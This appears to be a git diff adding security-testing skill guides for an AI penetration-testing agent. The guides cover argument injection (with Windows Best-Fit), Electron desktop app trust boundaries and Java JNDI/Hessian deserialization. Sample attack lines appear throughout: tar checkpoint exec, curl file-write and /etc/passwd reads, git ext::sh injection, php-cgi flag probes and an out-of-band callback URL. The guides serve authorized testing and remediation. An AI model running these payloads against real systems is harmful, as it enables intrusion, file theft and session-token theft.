diff --git a/strix/skills/README.md b/strix/skills/README.md index 2ebb609f..370dcbba 100644 --- a/strix/skills/README.md +++ b/strix/skills/README.md @@ -52,6 +52,8 @@ Notable source-aware skills: - `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing - `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis - `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains +- `argument_injection` (vulnerabilities): CLI/argv flag smuggling and argument splitting, including Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping +- `electron_desktop_apps` (vulnerabilities): Electron/web-tech desktop app renderer-to-native trust boundary, preload/IPC bridge exposure, and navigation-escape analysis --- diff --git a/strix/skills/vulnerabilities/argument_injection.md b/strix/skills/vulnerabilities/argument_injection.md new file mode 100644 index 00000000..0a3dfae1 --- /dev/null +++ b/strix/skills/vulnerabilities/argument_injection.md @@ -0,0 +1,122 @@ +--- +name: argument-injection +description: Argument injection and argument splitting testing for CLI/subprocess invocations, including flag/option smuggling, argv boundary breakout, response/config file abuse, and Windows Best-Fit (WorstFit) charset transformations that defeat prior escaping +--- + +# Argument Injection + +Use this skill when user-influenced data becomes part of a command's **argument vector**, not a shell string. This is distinct from classic command injection: there may be no shell, no metacharacters, and correct shell-escaping — yet the attacker still controls program behavior by injecting **additional flags/options** or by splitting one argument into several. + +The core question is never "can I reach a shell?" It is: *does attacker input decide which options, files, or sub-actions a trusted binary performs?* Load `rce` when a shell metacharacter sink is present, and `semantic_confusion` when the injection arises from a normalization/encoding differential between the escaper and the argv consumer. + +## Why It Is Missed + +- The code uses a safe API (`execve`, `subprocess.run([...])`, `ProcessBuilder`) with no shell, so command-injection checks pass. +- Each individual argument is correctly quoted/escaped for the shell, but quoting does not stop a value that *starts with `-`* from being parsed as an option. +- The input passes a WAF/validator in one representation, then a later layer (OS, C runtime, wide→ANSI conversion) rewrites it into argv-significant characters. + +## Attack Surface + +Look for any place a trusted binary is invoked with attacker-influenced values: + +- image/media processors: `convert`/ImageMagick, `ffmpeg`, `gs`/Ghostscript, `exiftool` +- VCS and transfer tools: `git`, `svn`, `hg`, `curl`, `wget`, `scp`/`ssh`/`plink`, `rsync` +- archive/crypto/db tools: `tar`, `zip`/`unzip`, `openssl`, `gpg`, `mysql`/`psql`, `sqlite3` +- interpreters/runtimes launched as subprocesses: `php`, `php-cgi`, `python`, `node`, `java` +- mail/report/PDF pipelines, LDAP/`ldapsearch`, `find`/`xargs`, and any `Open With`/handler registration +- CGI/FastCGI query strings mapped onto interpreter argv (e.g. historical `php-cgi` `?-d`/`-s`) + +## Two Distinct Primitives + +### 1. Option/Flag Injection + +A value placed where a *positional* argument is expected but not prefixed-guarded is parsed as an option: + +- write primitives: `--output=`, `-o`, `-O`, `--config=`, `-K/--config`, `--upload-file` +- read/exec primitives: `--exec`, `-c`, `-e`, `--use-compress-program=`, `--checkpoint-action=exec=` +- behavior toggles: `--insecure`, `--no-check-certificate`, `-proxy`, `--interactive` + +Representative generic PoCs (validate on the specific tool/version — flag names vary): + +```text +# curl: turn a fetched "URL" into a file write / local file read +-o/tmp/pwn # write response to a chosen path +file:///etc/passwd # scheme downgrade when scheme is not pinned + +# tar: classic exec via checkpoint action +--checkpoint=1 --checkpoint-action=exec=sh\ shell.sh + +# git: option-controlled config / hook / upload-pack +-c core.sshCommand=... ext::sh\ -c\ ... +``` + +### 2. Argument Splitting + +One intended argument becomes several because a separator survives escaping: + +- whitespace, `\t`, newline, or NUL that the escaper missed +- quoting that the argv builder collapses differently than the validator expected +- an OS/runtime transformation that *introduces* a separator (see Best-Fit below) + +The result: `["tool", "user-value"]` becomes `["tool", "user", "--evil"]`. + +## Windows Best-Fit / "WorstFit" Charset Transformation + +A critical, widely-missed argument-injection amplifier on Windows. ANSI (`*A`) APIs convert UTF-16 to the process code page using **Best-Fit mapping**, which silently rewrites Unicode look-alikes into argv-significant ASCII *after* validation and escaping have run. + +Affected APIs (any of these can undo prior sanitization): + +- `GetCommandLineA`, `CommandLineToArgvA`-style parsing, `__argv`/`main(argc, argv)` in ANSI builds +- `GetEnvironmentVariableA`, `getenv`, `GetCurrentDirectoryA`, `getcwd` +- `FindFirstFileA`/`FindNextFileA` and other `*A` filesystem calls + +Best-Fit turns benign-looking Unicode into delimiters/flags depending on code page: + +| Attacker sends (Unicode) | Best-Fit result | Effect | +|---|---|---| +| U+00AD soft hyphen | `-` | injects an option where `-` was filtered | +| U+FF0F fullwidth solidus, ¥/₩ (yen/won) | `/` or `\` | path traversal / flag separators | +| U+2033, fullwidth quotes | `"` | breaks out of a quoted argv segment | +| various fullwidth/look-alike letters | ASCII letters | reconstruct filtered keywords | + +Consequences seen in research: PHP-CGI argument-injection bypass via soft hyphen, path traversal via yen/won/fullwidth slash, argv splitting despite prior escaping, and env/path confusion in CGI. The invariant: **the bytes validated are not the bytes the program parses.** + +## Detection and Recon + +- Source review: find every `subprocess`/`exec*`/`ProcessBuilder`/`os.popen`/backtick site and check whether any argument is attacker-influenced and whether a leading-`-` guard or `--` terminator precedes it. +- Black-box: submit values beginning with `-`/`--`, embedding whitespace/newline/NUL, and (on Windows targets) Unicode look-alikes for `- / \ "`. Diff behavior, output location, timing, and error text against a clean baseline. +- CGI/interpreter surfaces: probe whether query strings without `=` reach interpreter argv (historical `php-cgi` `?-s`, `?-d allow_url_include=1`). +- Prefer a benign, observable primitive first (write a canary to a tester-owned path, add a no-op flag that changes output verbosity) before any exec flag. + +## Safe Validation + +1. Prove input crosses the argv boundary: show the same value parsed as an option/extra arg vs. treated as a literal positional (paired control). +2. Use the least powerful demonstrable primitive — a verbose/version flag or a write to a tester-owned path — not remote code execution, unless RCE proof is explicitly authorized and contained. +3. For Best-Fit, capture both the submitted Unicode bytes and the ANSI bytes the process actually parsed (e.g. via a logging shim or the tool's own echo of argv), and record the code page. +4. Reproduce on the deployed tool/runtime version; flag names, Best-Fit tables, and CGI behavior are version- and code-page-specific. + +## Defenses (for remediation notes) + +- Prefix untrusted positional values with `--` (end-of-options) where the tool supports it, or hard-pin every option yourself. +- Reject or normalize leading `-`, whitespace, and NUL in values destined for argv. +- On Windows, use wide-character APIs (`wmain`, `GetCommandLineW`, `*W` calls) and avoid ANSI/Best-Fit conversion entirely. +- Never build argv from user input for security-relevant flags (output paths, config, exec/hook options); pass those as fixed literals. + +## False Positives + +- Value is attacker-influenced but the code inserts `--` before it, or validates a strict allowlist (numeric/UUID/enum) that cannot start with `-`. +- A separator appears in logs but the argv builder passes the whole value as one element (verify the real `argv`, not the log line). +- A Unicode character is accepted but the target uses `*W` APIs, so no Best-Fit conversion occurs. +- The injected flag exists but has no security-relevant effect on this tool/version. + +## Pro Tips + +1. The tell is a trusted binary + user-controlled argument, even with no shell and perfect quoting. +2. Always test a value that simply *starts with a dash*; it is the highest-signal, lowest-effort probe. +3. On Windows, treat `*A` APIs as an escaping-bypass primitive, not a cosmetic detail — Best-Fit runs after your validation. +4. Generalize findings by the primitive class (write / read / exec / behavior toggle), not by the specific flag string. +5. CGI query strings that reach an interpreter's argv are argument injection, not "just LFI." + +## Summary + +Argument injection is control of a program's argument vector without needing a shell. Model where untrusted data enters `argv`, test for option smuggling and argument splitting, and remember that Windows Best-Fit conversion can reintroduce `- / \ "` after every validation step. Prove the argv boundary crossing with a paired control and the least powerful primitive. diff --git a/strix/skills/vulnerabilities/browser_security.md b/strix/skills/vulnerabilities/browser_security.md index 826d4920..5a2c5796 100644 --- a/strix/skills/vulnerabilities/browser_security.md +++ b/strix/skills/vulnerabilities/browser_security.md @@ -7,7 +7,7 @@ description: Browser-internals security testing for browsing-context relationshi Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state. -Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. +Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. When the renderer is an Electron/web-tech desktop app with a preload/IPC bridge, load `electron_desktop_apps` — navigation and origin transitions there escalate to native capability, not just DOM access. ## Safety Boundary diff --git a/strix/skills/vulnerabilities/electron_desktop_apps.md b/strix/skills/vulnerabilities/electron_desktop_apps.md new file mode 100644 index 00000000..60409392 --- /dev/null +++ b/strix/skills/vulnerabilities/electron_desktop_apps.md @@ -0,0 +1,108 @@ +--- +name: electron-desktop-apps +description: Security testing for Electron and other web-tech desktop apps covering the renderer-to-native trust boundary, preload/IPC bridge exposure, top-level navigation escape, custom protocol/deep-link handlers, auto-update, and node/context isolation misconfiguration +--- + +# Electron / Web-Tech Desktop Apps + +Use this skill when the target is a desktop app built on Electron (or a similar Chromium+Node/webview stack: NW.js, CEF, Tauri-with-Node, wails). These apps look native but much of the UI is web content, so their security model reduces to one question: **which web content is allowed to talk to the native side, and does that trust survive navigation?** + +Electron's model is *positional*: native capability follows the window, and it only holds while that window stays on trusted content. Pair `xss` (to get script into the renderer), `browser_security` (context/navigation state machine), `argument_injection` (native subprocess launches), and `insecure_deserialization`/`rce` when a native handler is the final sink. + +## Threat Model + +The prize is moving attacker-controlled JavaScript into a **preload-bearing (privileged) renderer**, then using the bridge that renderer already has. Full Node integration is *not* required — inheriting an existing IPC bridge is enough. + +```text +untrusted content in first-party UI (display name, notification, note title, avatar) + -> renders as live link / injected markup in trusted renderer + -> top-level navigation to attacker origin (bridge NOT dropped) + -> window.electron / ipcInvoke reachable from attacker page + -> privileged IPC channels: session tokens, sqlite port, screenshot/webcam, fs + -> account takeover + local desktop foothold +``` + +## Recon: Unpack and Map the Native Surface + +1. Extract the app bundle: locate and unpack `app.asar` (`npx @electron/asar extract app.asar out/`, or `asar`), or read the plain `resources/app` directory. Grab `package.json` (`main` entry) and the Electron version. +2. Find every `BrowserWindow`/`BrowserView`/`webContents` creation and record its `webPreferences`: + - `nodeIntegration`, `contextIsolation`, `sandbox`, `nodeIntegrationInSubFrames`, `webSecurity`, `allowRunningInsecureContent`, `preload`. +3. Read each `preload` script: what does it expose via `contextBridge.exposeInMainWorld` / on `window`? Is it a **narrow typed API** or a **generic IPC pass-through** (`ipcInvoke`/`ipcSend`/`ipcOn` with caller-chosen channel names)? +4. Inventory `ipcMain.handle`/`ipcMain.on` channels — this is the *real* capability list. Note sensitive ones: session/token get/set, DB key or port, `shell.openExternal`/`openPath`, fs read/write, screenshot/media, child_process/exec, auto-update triggers. +5. Map navigation guards: `setWindowOpenHandler`, and handlers for `will-navigate`, `will-redirect`, `will-attach-webview`, `web-contents-created`. Note custom protocol registration (`protocol.register*`, `app.setAsDefaultProtocolClient`) and deep-link handling (`open-url`, second-instance argv). + +## High-Value Weaknesses + +### Top-Level Navigation Escape (the crack) + +The most impactful and most common gap: apps guard *new windows* (`setWindowOpenHandler` denies popups / routes to system browser) but leave the **primary window's top-level navigation** unguarded. Because the preload bridge is attached to the window — granted once, not per-URL — navigating that window to `https://attacker.example` carries `window.electron` along. + +- Test whether any in-app action, link, or redirect can move a preload-bearing window off the trusted origin (`app://`, `file://`, first-party https). +- The correct fix (use as an oracle): deny-by-default on `will-navigate` **and** `will-redirect`, allowlisting only trusted origins and pushing everything else to `shell.openExternal`. + +```javascript +webContents.on('will-navigate', (event, url) => { + if (!url.startsWith('app://ui/')) { + event.preventDefault(); + if (url.startsWith('https:') || url.startsWith('mailto:')) shell.openExternal(url); + } +}); +// Same guard required for 'will-redirect'. +``` + +### Untrusted Content Rendered as Trusted UI + +First-party UI chrome is not automatically trusted input. Display names, activity-feed/notification entries, meeting/note titles, avatars, and chat messages are attacker-writable and can carry markup or markdown links that become the navigation trigger inside the privileged renderer. + +- Enumerate every field another user (or a lower-trust source) can control that renders in a privileged window. +- Test link/markup sanitization on *each* surface separately; a body may be guarded while display names are not. +- Watch for encoding bypasses of URL defanging, e.g. **markdown with an HTML-entity-encoded scheme colon** rendering as a live link after raw `javascript:`/`https:` is stripped. + +### Generic IPC Pass-Through Bridge + +If the preload exposes `ipcInvoke(channel, ...)` with arbitrary channel names, the effective gate is the `ipcMain` handler list, not any renderer-side allowlist (unknown channels merely return "no handler registered"). A compromised renderer can then call any registered channel. + +- Enumerate reachable channels from renderer JS; probe sensitive ones (`get-session`, `get-refreshed-access-token`, `set-tokens`, `get-stored-accounts`, `sqlite:port`, screenshot/system). +- Correct design (oracle): a narrow, explicit, typed API with authorization enforced on the **main-process** side, not a channel-name pass-through. + +### Node / Context Isolation Misconfiguration + +- `nodeIntegration: true` or `contextIsolation: false` on any window that can render remote/untrusted content = direct RCE; check every window, webview, and child frame, not just the main one. +- `sandbox: false` + a leaky preload can expose Node primitives even with contextIsolation on. +- `webview`/`` tags and `nodeIntegrationInSubFrames` re-open the boundary inside frames. + +### Custom Protocols, Deep Links, and Auto-Update + +- Custom scheme / deep-link handlers (`myapp://…`, `open-url`, second-instance `argv`) accept OS-level attacker input; test for path traversal, argument injection into a launched process (load `argument_injection`), and navigation into privileged windows. +- Auto-update: verify update feed is HTTPS + signature-checked; an unauthenticated/naively-parsed feed is native RCE. + +### Renderer-Exposed Secrets + +- Encryption keys must not live in renderer reach. If the app exports a DB key (e.g. **SQLCipher key** stored in IndexedDB / handed to renderer JS), at-rest encryption does not survive renderer compromise. Check what secrets IndexedDB/localStorage/JS globals hold once you have renderer execution. + +## Safe Validation + +- Run the packaged app under a local Electron runtime in an isolated VM with synthetic accounts/data. Do not exfiltrate real user data. +- Prove the **chain**, not just a finding: "a bridge exists" ≠ "an attacker can reach it." Show injected content → off-origin navigation with `window.electron` still present → a benign privileged IPC call (e.g. a read-only channel returning a canary), captured on video/trace. +- Use the least sensitive channel that demonstrates authority; avoid pulling real tokens or invoking media capture beyond what proves reachability. +- Record Electron version and exact `webPreferences`; behavior and defaults change across major versions. + +## False Positives + +- `nodeIntegration:false` + `contextIsolation:true` reported as "safe" without checking whether navigation can carry the bridge off-origin. +- A dangerous IPC channel exists but no untrusted content can reach a preload-bearing renderer (no navigation escape, no injection surface). +- `setWindowOpenHandler` present, cited as full coverage, while `will-navigate`/`will-redirect` are unguarded (or vice versa). +- Remote content loaded in a window that genuinely has no preload and no node access. +- A deep-link handler that only routes to in-app views with no argv/navigation/traversal effect. + +## Pro Tips + +1. Capability follows the window — always ask whether a privileged window can wander off trusted content. +2. Treat every user-writable string that renders in first-party UI as attacker-controlled. +3. The handler list is the real ACL for a generic bridge; enumerate `ipcMain` channels, not the preload's intent. +4. Check *every* window/webview/subframe's `webPreferences`, not just the main window. +5. Severity comes from the full path; a video of one-click injection → retained bridge → privileged call is worth more than a config screenshot. + +## Summary + +Electron security is positional trust: native capability rides the window and holds only while the window stays on trusted content. Map `webPreferences`, the preload bridge, and `ipcMain` channels; then hunt for a way to get untrusted JS into a preload-bearing renderer — most often an unguarded top-level navigation triggered by attacker-controlled first-party UI. Prove the whole chain with the least powerful privileged call. diff --git a/strix/skills/vulnerabilities/insecure_deserialization.md b/strix/skills/vulnerabilities/insecure_deserialization.md index 6b5ebe58..0e138873 100644 --- a/strix/skills/vulnerabilities/insecure_deserialization.md +++ b/strix/skills/vulnerabilities/insecure_deserialization.md @@ -10,7 +10,7 @@ Insecure deserialization passes attacker-controlled byte streams or structured b ## Attack Surface **Formats** -- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML) +- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo, RMI/JMX - Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve - PHP: `unserialize()`, Phar deserialization - .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState @@ -58,6 +58,31 @@ yaml.load readObject( TypeNameHandling Marshal.load ``` When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types. +**JNDI Injection (the modern Java pivot)** + +Many Java sinks do not run a classic ObjectInputStream gadget at all — they coerce a type whose deserialization triggers a **JNDI lookup** to an attacker-controlled URL, which returns a malicious object/factory. This is the mechanism behind `JdbcRowSetImpl`, Fastjson/Jackson polymorphic types, and Log4Shell-style lookups. + +- Trigger types/fields: `dataSourceName`, `jndiName`, `namingURL`, any `Context.lookup()` on user data. +- Endpoints: `ldap://`, `ldaps://`, `rmi://`, `dns://` (DNS is a safe no-exec reachability oracle). +- Post-JEP-290/8u191 hardening blocks remote-codebase class loading, so modern exploitation returns a **local gadget** (e.g. a bean/`BeanFactory`/EL/Groovy invoker already on the classpath) via the LDAP reference instead of a remote class. Fingerprint the JDK/`trustURLCodebase` setting before choosing remote-class vs local-gadget. +- Tooling: a JNDI exploit server (e.g. `marshalsec`/rogue-jndi style LDAP/RMI referral servers) — authorized testing only. Confirm reachability with a `dns://`/LDAP callback first. + +**Hessian / Burlap** +- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization. +- Common in enterprise middleware and management endpoints reachable only after a proxy/path-confusion bypass — pair `semantic_confusion` when a front proxy is supposed to block the endpoint. +- Typical chains land on the same local invokers below (`JdbcRowSet`→JNDI, `Resin`/`SpringPartiallyComparableAdvisorHolder`, etc.). `marshalsec` generates Hessian/Burlap payloads. + +**Local Gadget Invokers (when remote class loading is blocked)** + +After a JNDI/Hessian/JSON-typing primitive, exploitation depends on classes already present. Enumerate these generic invokers rather than a vendor-specific file list: + +- `org.springframework.beans.factory.support...BeanFactory` / `SimpleJndiBeanFactory` +- `javax.el.ELProcessor` / EL evaluation beans +- `groovy.lang.GroovyShell` / `GroovyClassLoader` and Groovy gadget classes +- `com.sun.rowset.JdbcRowSetImpl` (JNDI), `org.apache.xbean...`, `org.apache.commons.configuration...` + +Match the invoker to the fingerprinted classpath; the presence of Spring/Groovy/Tomcat-EL on the path decides which one fires. + ### Python Pickle Pickle executes arbitrary code during unpickling by design: @@ -162,6 +187,8 @@ When `TypeNameHandling` != `None`. 3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens 4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source 5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps +6. Modern Java rarely runs a remote-class gadget — expect JNDI-to-local-gadget; confirm reachability with `dns://`/LDAP before firing a chain +7. A "blocked" enterprise deserialization endpoint may just need a proxy/path-confusion bypass to reach — pair `semantic_confusion` ## Tooling @@ -172,6 +199,7 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/` | **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. | | **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. | | **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. | +| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and rogue JNDI (LDAP/RMI) referral servers | Generate non-native Java payloads and stand up a JNDI exploit server. Needs a JRE; authorized testing only. | ``` # Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain diff --git a/strix/skills/vulnerabilities/rce.md b/strix/skills/vulnerabilities/rce.md index aa9c815f..7d11b9ba 100644 --- a/strix/skills/vulnerabilities/rce.md +++ b/strix/skills/vulnerabilities/rce.md @@ -80,6 +80,7 @@ curl https://xyz.oast.fun/$(hostname) - Break out of quoted segments by alternating quotes and escapes - Environment expansion: `$PATH`, `${HOME}`, command substitution - Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)` +- When the sink is a shell-free subprocess (`execve`/`subprocess.run([...])`) with a user-controlled argument, load `argument_injection` — flag smuggling, argv splitting, and Windows Best-Fit conversion apply even with correct shell-escaping **Path and Builtin Confusion** - Force absolute paths (`/usr/bin/id`) vs relying on PATH